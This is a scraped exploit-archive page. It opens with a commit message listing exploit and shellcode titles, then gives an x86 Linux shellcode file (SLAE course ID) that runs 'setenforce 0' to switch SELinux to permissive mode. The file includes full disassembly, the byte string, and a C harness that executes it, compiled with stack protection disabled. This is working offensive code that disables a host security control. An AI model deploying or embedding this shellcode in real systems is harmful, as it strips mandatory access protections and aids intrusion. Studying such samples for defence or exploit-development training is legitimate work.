880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
81 lines
No EOL
2 KiB
C
81 lines
No EOL
2 KiB
C
/*
|
|
# Title: x86 SELinux change between permissive and enforcing modes shellcode
|
|
# Date: 20-02-2017
|
|
# Author: lu0xheap
|
|
# Platform: Lin_x86
|
|
# Tested on: CentOS 6.8 (i686)
|
|
# Shellcode Size: 45 bytes
|
|
# ID: SLAE - 871
|
|
*/
|
|
|
|
/*
|
|
1. Description:
|
|
|
|
SELinux mode switcher. Permissive = "\x30"; Enforcing = "\x31"
|
|
gcc -fno-stack-protector -z execstack SELinux-mode.c -o SELinux-mode
|
|
|
|
2. Disassembly of section .text:
|
|
|
|
08048060 <_start>:
|
|
8048060: 6a 0b push 0xb
|
|
8048062: 58 pop eax
|
|
8048063: 31 d2 xor edx,edx
|
|
8048065: 52 push edx
|
|
8048066: 6a 30 push 0x30
|
|
8048068: 89 e1 mov ecx,esp
|
|
804806a: 52 push edx
|
|
804806b: 68 6f 72 63 65 push 0x6563726f
|
|
8048070: 68 74 65 6e 66 push 0x666e6574
|
|
8048075: 68 6e 2f 73 65 push 0x65732f6e
|
|
804807a: 68 2f 73 62 69 push 0x6962732f
|
|
804807f: 68 2f 75 73 72 push 0x7273752f
|
|
8048084: 89 e3 mov ebx,esp
|
|
8048086: 52 push edx
|
|
8048087: 51 push ecx
|
|
8048088: 53 push ebx
|
|
8048089: 89 e1 mov ecx,esp
|
|
804808b: cd 80 int 0x80
|
|
|
|
3. Code
|
|
|
|
global _start
|
|
section .text
|
|
_start:
|
|
push 0xb
|
|
pop eax
|
|
xor edx, edx
|
|
push edx
|
|
push byte 0x30
|
|
mov ecx, esp
|
|
push edx
|
|
push 0x6563726f
|
|
push 0x666e6574
|
|
push 0x65732f6e
|
|
push 0x6962732f
|
|
push 0x7273752f
|
|
mov ebx, esp
|
|
push edx
|
|
push ecx
|
|
push ebx
|
|
mov ecx, esp
|
|
int 0x80
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = \
|
|
"\x6a\x0b\x58\x31\xd2\x52\x6a"
|
|
"\x30"
|
|
"\x89\xe1\x52\x68\x6f\x72\x63\x65"
|
|
"\x68\x74\x65\x6e\x66\x68\x6e\x2f"
|
|
"\x73\x65\x68\x2f\x73\x62\x69\x68"
|
|
"\x2f\x75\x73\x72\x89\xe3\x52\x51"
|
|
"\x53\x89\xe1\xcd\x80";
|
|
|
|
main()
|
|
{
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
} |